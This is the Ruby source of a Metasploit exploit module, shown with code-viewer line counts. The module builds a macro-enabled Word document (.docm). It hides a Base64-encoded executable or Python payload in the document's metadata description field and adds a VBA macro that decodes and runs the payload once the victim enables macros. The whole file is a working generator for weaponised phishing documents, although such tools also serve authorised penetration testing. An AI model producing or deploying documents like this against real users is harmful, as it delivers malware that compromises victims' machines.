287 lines
8.8 KiB
Ruby
287 lines
8.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rex/zip'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Microsoft Office Word Malicious Macro Execution",
|
|
'Description' => %q{
|
|
This module injects a malicious macro into a Microsoft Office Word document (docx). The
|
|
comments field in the metadata is injected with a Base64 encoded payload, which will be
|
|
decoded by the macro and execute as a Windows executable.
|
|
|
|
For a successful attack, the victim is required to manually enable macro execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'sinn3r' # Metasploit
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://en.wikipedia.org/wiki/Macro_virus']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'DisablePayloadHandler' => true
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Microsoft Office Word on Windows',
|
|
{
|
|
'Platform' => 'win',
|
|
}
|
|
],
|
|
[
|
|
'Microsoft Office Word on Mac OS X (Python)',
|
|
{
|
|
'Platform' => 'python',
|
|
'Arch' => ARCH_PYTHON
|
|
}
|
|
]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2012-01-10'
|
|
))
|
|
|
|
register_options([
|
|
OptPath.new("CUSTOMTEMPLATE", [false, 'A docx file that will be used as a template to build the exploit']),
|
|
OptString.new('FILENAME', [true, 'The Office document macro file (docm)', 'msf.docm'])
|
|
])
|
|
end
|
|
|
|
def get_file_in_docx(fname)
|
|
i = @docx.find_index { |item| item[:fname] == fname }
|
|
|
|
unless i
|
|
fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}")
|
|
end
|
|
|
|
@docx.fetch(i)[:data]
|
|
end
|
|
|
|
def add_content_type_extension(extension, content_type)
|
|
if has_content_type_extension?(extension)
|
|
update_content_type("Types//Default[@Extension=\"#{extension}\"]", 'ContentType', content_type)
|
|
else
|
|
xml = get_file_in_docx('[Content_Types].xml')
|
|
types_node = xml.at('Types')
|
|
|
|
unless types_node
|
|
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
|
|
end
|
|
|
|
child_data = "<Default Extension=\"#{extension}\" ContentType=\"#{content_type}\"/>"
|
|
types_node.add_child(child_data)
|
|
end
|
|
end
|
|
|
|
def has_content_type_extension?(extension)
|
|
xml = get_file_in_docx('[Content_Types].xml')
|
|
xml.at("Types//Default[@Extension=\"#{extension}\"]") ? true : false
|
|
end
|
|
|
|
def add_content_type_partname(part_name, content_type)
|
|
ctype_xml = get_file_in_docx('[Content_Types].xml')
|
|
types_node = ctype_xml.at('Types')
|
|
|
|
unless types_node
|
|
fail_with(Failure::NotFound, '[Content_Types].xml is missing the Types node.')
|
|
end
|
|
|
|
child_data = "<Override PartName=\"#{part_name}\" ContentType=\"#{content_type}\"/>"
|
|
types_node.add_child(child_data)
|
|
end
|
|
|
|
def update_content_type(pattern, attribute, new_value)
|
|
ctype_xml = get_file_in_docx('[Content_Types].xml')
|
|
doc_xml_ctype_node = ctype_xml.at(pattern)
|
|
if doc_xml_ctype_node
|
|
doc_xml_ctype_node.attributes[attribute].value = new_value
|
|
end
|
|
end
|
|
|
|
def add_rels_relationship(type, target)
|
|
rels_xml = get_file_in_docx('_rels/.rels')
|
|
relationships_node = rels_xml.at('Relationships')
|
|
|
|
unless relationships_node
|
|
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
|
|
end
|
|
|
|
last_index = get_last_relationship_index_from_rels
|
|
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
|
|
end
|
|
|
|
def add_doc_relationship(type, target)
|
|
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
|
|
relationships_node = rels_xml.at('Relationships')
|
|
|
|
unless relationships_node
|
|
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node.')
|
|
end
|
|
|
|
last_index = get_last_relationship_index_from_doc_rels
|
|
relationships_node.add_child("<Relationship Id=\"rId#{last_index+1}\" Type=\"#{type}\" Target=\"#{target}\"/>")
|
|
end
|
|
|
|
def get_last_relationship_index_from_rels
|
|
rels_xml = get_file_in_docx('_rels/.rels')
|
|
relationships_node = rels_xml.at('Relationships')
|
|
|
|
unless relationships_node
|
|
fail_with(Failure::NotFound, '_rels/.rels is missing the Relationships node')
|
|
end
|
|
|
|
relationships_node.search('Relationship').collect { |n|
|
|
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
|
|
}.max
|
|
end
|
|
|
|
def get_last_relationship_index_from_doc_rels
|
|
rels_xml = get_file_in_docx('word/_rels/document.xml.rels')
|
|
relationships_node = rels_xml.at('Relationships')
|
|
|
|
unless relationships_node
|
|
fail_with(Failure::NotFound, 'word/_rels/document.xml.rels is missing the Relationships node')
|
|
end
|
|
|
|
relationships_node.search('Relationship').collect { |n|
|
|
n.attributes['Id'].value.scan(/(\d+)/).flatten.first.to_i
|
|
}.max
|
|
end
|
|
|
|
def inject_macro
|
|
add_content_type_extension('bin', 'application/vnd.ms-office.vbaProject')
|
|
add_content_type_partname('/word/vbaData.xml', 'application/vnd.ms-word.vbaData+xml')
|
|
|
|
pattern = 'Override[@PartName="/word/document.xml"]'
|
|
attribute_name = 'ContentType'
|
|
scheme = 'application/vnd.ms-word.document.macroEnabled.main+xml'
|
|
update_content_type(pattern, attribute_name, scheme)
|
|
|
|
scheme = 'http://schemas.microsoft.com/office/2006/relationships/vbaProject'
|
|
fname = 'vbaProject.bin'
|
|
add_doc_relationship(scheme, fname)
|
|
|
|
@docx << { fname: 'word/vbaData.xml', data: get_vbadata_xml }
|
|
@docx << { fname: 'word/_rels/vbaProject.bin.rels', data: get_vbaproject_bin_rels}
|
|
@docx << { fname: 'word/vbaProject.bin', data: get_vbaproject_bin}
|
|
end
|
|
|
|
def get_vbadata_xml
|
|
File.read(File.join(macro_resource_directory, 'vbaData.xml'))
|
|
end
|
|
|
|
def get_vbaproject_bin_rels
|
|
File.binread(File.join(macro_resource_directory, 'vbaProject.bin.rels'))
|
|
end
|
|
|
|
def get_vbaproject_bin
|
|
File.binread(File.join(macro_resource_directory, 'vbaProject.bin'))
|
|
end
|
|
|
|
def get_core_xml
|
|
File.read(File.join(macro_resource_directory, 'core.xml'))
|
|
end
|
|
|
|
def create_core_xml_file
|
|
add_content_type_partname('/docProps/core.xml', 'application/vnd.openxmlformats-package.core-properties+xml')
|
|
add_rels_relationship('http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties', 'docProps/core.xml')
|
|
@docx << { fname: 'docProps/core.xml', data: Nokogiri::XML(get_core_xml) }
|
|
end
|
|
|
|
def inject_payload
|
|
p = padding = ' ' * 55
|
|
p << Rex::Text.encode_base64(target.name =~ /Python/i ? payload.encoded : generate_payload_exe)
|
|
|
|
begin
|
|
core_xml = get_file_in_docx('docProps/core.xml')
|
|
rescue Msf::Exploit::Failed
|
|
end
|
|
|
|
unless core_xml
|
|
print_status('Missing docProps/core.xml to inject the payload to. Using the default one.')
|
|
create_core_xml_file
|
|
core_xml = get_file_in_docx('docProps/core.xml')
|
|
end
|
|
|
|
description_node = core_xml.at('//cp:coreProperties//dc:description')
|
|
description_node.content = p
|
|
end
|
|
|
|
def unpack_docx(template_path)
|
|
doc = []
|
|
|
|
Zip::File.open(template_path) do |entries|
|
|
entries.each do |entry|
|
|
if entry.name.match(/\.xml|\.rels$/i)
|
|
content = Nokogiri::XML(entry.get_input_stream.read)
|
|
else
|
|
content = entry.get_input_stream.read
|
|
end
|
|
|
|
vprint_status("Parsing item from template: #{entry.name}")
|
|
|
|
doc << { fname: entry.name, data: content }
|
|
end
|
|
end
|
|
|
|
doc
|
|
end
|
|
|
|
def pack_docm
|
|
@docx.each do |entry|
|
|
if entry[:data].kind_of?(Nokogiri::XML::Document)
|
|
entry[:data] = entry[:data].to_s
|
|
end
|
|
end
|
|
|
|
Msf::Util::EXE.to_zip(@docx)
|
|
end
|
|
|
|
def macro_resource_directory
|
|
@macro_resource_directory ||= File.join(Msf::Config.install_root, 'data', 'exploits', 'office_word_macro')
|
|
end
|
|
|
|
def get_template_path
|
|
if datastore['CUSTOMTEMPLATE']
|
|
datastore['CUSTOMTEMPLATE']
|
|
else
|
|
File.join(macro_resource_directory, 'template.docx')
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
template_path = get_template_path
|
|
|
|
unless File.extname(template_path).match(/\.docx$/i)
|
|
fail_with(Failure::BadConfig, 'Template is not a docx file.')
|
|
end
|
|
|
|
print_status("Using template: #{template_path}")
|
|
@docx = unpack_docx(template_path)
|
|
|
|
print_status('Injecting payload in document comments')
|
|
inject_payload
|
|
|
|
print_status('Injecting macro and other required files in document')
|
|
inject_macro
|
|
|
|
print_status("Finalizing docm: #{datastore['FILENAME']}")
|
|
docm = pack_docm
|
|
file_create(docm)
|
|
end
|
|
end
|